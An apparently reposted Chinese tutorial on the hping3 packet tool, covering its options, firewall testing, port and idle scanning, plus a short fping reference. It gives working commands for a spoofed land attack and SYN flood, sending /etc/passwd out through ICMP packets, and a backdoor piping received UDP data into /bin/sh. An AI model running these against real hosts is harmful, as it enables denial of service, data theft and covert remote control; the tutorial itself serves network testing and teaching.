hping3 使用 (构造dos攻击)
hping3命令:http://man.linuxde.net/hping3
Testing firewall rules with Hping3 - examples:http://0daysecurity.com/articles/hping3_examples.html
攻防寶典:利用hping3和偽造IP地址執行DOS攻擊:http://netsecurity.51cto.com/art/201508/489303.htm
DoS***方法(hping3):http://19920624.blog.51cto.com/9632075/1584465
Nmap、Netcat、Hping3工具對比:http://www.2cto.com/article/201210/158961.html
**
hping
**
hping 是 面向命令行的用于生成和解析TCP/IP協議數據包匯編/分析的開源工具。作者是Salvatore Sanfilippo,界面靈感來自ping(8)unix命令,目前最新版是 hping3,它支持TCP,UDP,ICMP和RAW-IP協議,具有跟蹤路由模式,能夠在覆蓋的信道之間發送文件以及許多其他功能,支持使用tcl腳本自動化地調用其API。hping是安全審計、防火墻測試等工作的標配工具。hping 優勢在于能夠定制數據包的各個部分,因此用戶可以靈活對目標機進行細致地探測。
雖然 hping 以前主要用作安全工具,但它可以在許多方面被不太關心安全性的人員用于測試網絡和主機,您可以使用hping的一小部分內容:
- 防火墻測試 - 高級端口掃描 - 網絡測試,使用不同的協議,TOS,分片 - 手動路徑MTU發現 - 在所有支持的協議下,高級traceroute - 遠程操作系統指紋 - 遠程正常運行時間猜測 - TCP/IP協議棧審計 - hping也可以用于學習TCP/IP的學生工具來源:http://www.hping.org/
hping3主頁 | Kali hping3倉庫
模式選擇
default mode TCP // 默認模式是 TCP-0 --rawip RAWIP模式,原始IP模式。在此模式下HPING會發送帶數據的IP頭。即裸IP方式。使用RAWSOCKET方式。-1 --icmp ICMP模式,此模式下HPING會發送IGMP應答報,你可以用--ICMPTYPE --ICMPCODE選項發送其他類型/模式的ICMP報文。-2 --udp UDP 模式,缺省下,HPING會發送UDP報文到主機的0端口,你可以用--baseport --destport --keep選項指定其模式。-8 --scan SCAN mode. //掃描模式 指定掃描對應的端口。Example: hping --scan 1-30,70-90 -S www.target.host // 掃描-9 --listen listen mode // 監聽模式IP 模式
-a --spoof spoof source address //源地址欺騙。偽造IP攻擊,防火墻就不會記錄你的真實IP了,當然回應的包你也接收不到了。--rand-dest random destionation address mode. see the man. // 隨機目的地址模式。詳細使用 man 命令--rand-source random source address mode. see the man. // 隨機源地址模式。詳細使用 man 命令-t --ttl ttl (默認 64) //修改 ttl 值-N --id id (默認 隨機) // hping 中的 ID 值,缺省為隨機值-W --winid 使用win* id字節順序 //使用winid模式,針對不同的操作系統。UNIX ,WINDIWS的id回應不同的,這選項可以讓你的ID回應和WINDOWS一樣。-r --rel 相對id字段(估計主機流量) //更改ID的,可以讓ID曾遞減輸出,詳見HPING-HOWTO。-f --frag 拆分數據包更多的frag. (may pass weak acl) //分段,可以測試對方或者交換機碎片處理能力,缺省16字節。-x --morefrag 設置更多的分段標志 // 大量碎片,淚滴攻擊。-y --dontfrag 設置不分段標志 // 發送不可恢復的IP碎片,這可以讓你了解更多的MTU PATH DISCOVERY。-g --fragoff set the fragment offset // 設置斷偏移。-m --mtu 設置虛擬最大傳輸單元, implies --frag if packet size > mtu // 設置虛擬MTU值,當大于mtu的時候分段。-o --tos type of service (default 0x00), try --tos help // tos字段,缺省0x00,盡力而為?-G --rroute includes RECORD_ROUTE option and display the route buffer // 記錄IP路由,并顯示路由緩沖。--lsrr 松散源路由并記錄路由 // 松散源路由--ssrr 嚴格源路由并記錄路由 // 嚴格源路由-H --ipproto 設置IP協議字段,僅在RAW IP模式下使用 //在RAW IP模式里選擇IP協議。設置ip協議域,僅在RAW ip模式使用。ICMP 模式
-C --icmptype icmp類型(默認echo請求) // ICMP類型,缺省回顯請求。-K --icmpcode icmp代號(默認0) // ICMP代碼。--force-icmp 發送所有icmp類型(默認僅發送支持的類型) // 強制ICMP類型。--icmp-gw 設置ICMP重定向網關地址(默認0.0.0.0) // ICMP重定向--icmp-ts 等同 --icmp --icmptype 13 (ICMP 時間戳) // icmp時間戳--icmp-addr 等同 --icmp --icmptype 17 (ICMP 地址子網掩碼) // icmp子網地址--icmp-help 顯示其他icmp選項幫助 // ICMP幫助UDP/TCP 模式
-s --baseport base source port (default random) // 缺省隨機源端口-p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec // 缺省隨機源端口-k --keep keep still source port // 保持源端口-w --win winsize (default 64) // win的滑動窗口。windows發送字節(默認64)-O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4) // 設置偽造tcp數據偏移量(取代tcp地址長度除4)-Q --seqnum shows only tcp sequence number // 僅顯示tcp序列號-b --badcksum (嘗試)發送具有錯誤IP校驗和數據包。許多系統將修復發送數據包的IP校驗和。所以你會得到錯誤UDP/TCP校驗和。-M --setseq 設置TCP序列號 -L --setack 設置TCP的ack ------------------------------------- (不是 TCP 的 ACK 標志位)-F --fin set FIN flag-S --syn set SYN flag-R --rst set RST flag-P --push set PUSH flag-A --ack set ACK flag ------------------------------------- (設置 TCP 的 ACK 標志 位)-U --urg set URG flag // 一大堆IP抱頭的設置。-X --xmas set X unused flag (0x40)-Y --ymas set Y unused flag (0x80)--tcpexitcode 使用last tcp-> th_flags作為退出碼--tcp-mss 啟用具有給定值的TCP MSS選項--tcp-timestamp 啟用TCP時間戳選項來猜測HZ/uptimeCommon //通用設置
-d --data data size (default is 0) // 發送數據包大小,缺省是0。-E --file 文件數據-e --sign 添加“簽名”-j --dump 轉儲為十六進制數據包-J --print 轉儲為可打印字符-B --safe 啟用“安全”協議-u --end 告訴你什么時候--file達到EOF并防止倒回-T --traceroute traceroute模式(等同使用 --bind 且--ttl 1)--tr-stop 在traceroute模式下收到第一個不是ICMP時退出--tr-keep-ttl 保持源TTL固定,僅用于監視一跳--tr-no-rtt 不要在跟蹤路由模式下計算/顯示RTT信息 ARS包描述(新增功能,不穩定) ARS packet description (new, unstable)--apd-send 發送APD描述數據包(參見docs / APD.txt)Hping3 功能
Hping3 主要有以下典型功能應用:
防火墻測試
使用Hping3指定各種數據包字段,依次對防火墻進行詳細測試。請參考:http://0daysecurity.com/articles/hping3_examples.html
測試防火墻對ICMP包的反應、是否支持traceroute、是否開放某個端口、對防火墻進行拒絕服務攻擊(DoS attack)。例如,以LandAttack方式測試目標防火墻(Land Attack是將發送源地址設置為與目標地址相同,誘使目標機與自己不停地建立連接)。
hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
端口掃描
Hping3也可以對目標端口進行掃描。Hping3支持指定TCP各個標志位、長度等信息。以下示例可用于探測目標機的80端口是否開放:
hping3 -I eth0 -S 192.168.10.1 -p 80
其中-I eth0指定使用eth0端口,-S指定TCP包的標志位SYN,-p 80指定探測的目的端口。
hping3支持非常豐富的端口探測方式,nmap擁有的掃描方式hping3幾乎都支持(除開connect方式,因為Hping3僅發送與接收包,不會維護連接,所以不支持connect方式探測)。而且Hping3能夠對發送的探測進行更加精細的控制,方便用戶微調探測結果。當然,Hping3的端口掃描性能及綜合處理能力,無法與Nmap相比。一般使用它僅對少量主機的少量端口進行掃描。
Idle掃描
Idle掃描(Idle Scanning)是一種匿名掃描遠程主機的方式,該方式也是有Hping3的作者Salvatore Sanfilippo發明的,目前Idle掃描在Nmap中也有實現。
該掃描原理是:尋找一臺idle主機(該主機沒有任何的網絡流量,并且IPID是逐個增長的),攻擊端主機先向idle主機發送探測包,從回復包中獲取其IPID。冒充idle主機的IP地址向遠程主機的端口發送SYN包(此處假設為SYN包),此時如果遠程主機的目的端口開放,那么會回復SYN/ACK,此時idle主機收到SYN/ACK后回復RST包。然后攻擊端主機再向idle主機發送探測包,獲取其IPID。那么對比兩次的IPID值,我們就可以判斷遠程主機是否回復了數據包,從而間接地推測其端口狀態。
拒絕服務攻擊
使用Hping3可以很方便構建拒絕服務攻擊。比如對目標機發起大量SYN連接,偽造源地址為192.168.10.99,并使用1000微秒的間隔發送各個SYN包。
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
其他攻擊如smurf、teardrop、land attack等也很容易構建出來。
文件傳輸
Hping3支持通過TCP/UDP/ICMP等包來進行文件傳輸。相當于借助TCP/UDP/ICMP包建立隱秘隧道通訊。實現方式是開啟監聽端口,對檢測到的簽名(簽名為用戶指定的字符串)的內容進行相應的解析。在接收端開啟服務:
hping3 192.168.1.159–listen signature --safe --icmp
監聽ICMP包中的簽名,根據簽名解析出文件內容。
在發送端使用簽名打包的ICMP包發送文件:
hping3 192.168.1.108–icmp ?d 100 --sign signature --file /etc/passwd
將/etc/passwd密碼文件通過ICMP包傳給192.168.10.44主機。發送包大小為100字節(-d 100),發送簽名為signature(-sign signature)。
木馬功能
如果Hping3能夠在遠程主機上啟動,那么可以作為木馬程序啟動監聽端口,并在建立連接后打開shell通信。與netcat的后門功能類似。
示例:本地打開53號UDP端口(DNS解析服務)監聽來自192.168.10.66主機的包含簽名為signature的數據包,并將收到的數據調用/bin/sh執行。
在木馬啟動端:
hping3 192.168.10.66–listen signature --safe --udp -p 53 | /bin/sh
在遠程控制端:
echo ls >test.cmd hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd將包含ls命令的文件加上簽名signature發送到192.168.10.44主機的53號UDP端口,包數據長度為100字節。
當然這里只是簡單的演示程序,真實的場景,控制端可以利益shell執行很多的高級復雜的操作。
fping 用法
fping 官網
fping 是一個將 ICMP echo 探測器發送到網絡主機的程序,類似于 ping,可以看作是 ping 的增強版。但是 fping 在 ping多個主機時性能更好。Usage: fping [options] [targets...]-a 顯示存活目標,即可ping通的目標-A 將目標以ip地址的形式顯示-b n ping 數據包的大小。(默認為56)-B f set exponential backoff factor to f-c n ping每個目標的次數 (默認為1)-C n 同-c, 返回的結果為冗長格式-D 每個輸出行打印時間戳-e 顯示返回數據包所費時間-f file 從文件獲取目標列表( - 表示從標準輸入)(不能與 -g 同時使用)-g 生成目標列表(不能與 -f 同時使用)(可指定目標的開始和結束IP, 或者提供ip的子網掩碼)(例:fping -g 192.168.1.0 192.168.1.255 或 fping -g 192.168.1.0/24) -H n 設置ip的TTL值 (生存時間)-i n ping包之間的間隔(單位:毫秒)(默認25)-I if 綁定到特定的接口-l 循環發送ping-m ping目標主機的多個網口-M 設置不分段標記-n 將目標以主機名或域名顯示(等價于 -d )-N 輸出兼容netdata (-l -Q are required)-o 顯示累計中斷時間 (lost packets * packet interval)-O n 在ICMP包中設置服務的類型(tos)標志-p n 對同一個目標的ping包間隔(毫秒)(在循環和統計模式中,默認為1000)-q 安靜模式(不顯示每個目標或每個ping的結果)-Q n 同-q, 但是每n秒顯示信息概要-r n 當ping失敗時,最大重試次數(默認為3次)-R random packet data (to foil link data compression)-s 打印最后的統計數據-S addr 設置源ip地址-t n 單個目標的超時時間(毫秒)(默認500)-T n 請忽略(為兼容fping 2.4)-u 顯示不可到達的目標-v 顯示版本號targets 需要ping的目標列表(不能和 -f 同時使用)示例
fping -A -u -c 4 192.168.1.1 192.168.1.74 192.168.1.20
總結
以上是生活随笔為你收集整理的hping3 使用 (构造dos攻击)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 手电筒安卓_王思聪吃热狗数字时钟app安
- 下一篇: [NLP] 中文文本相似度实战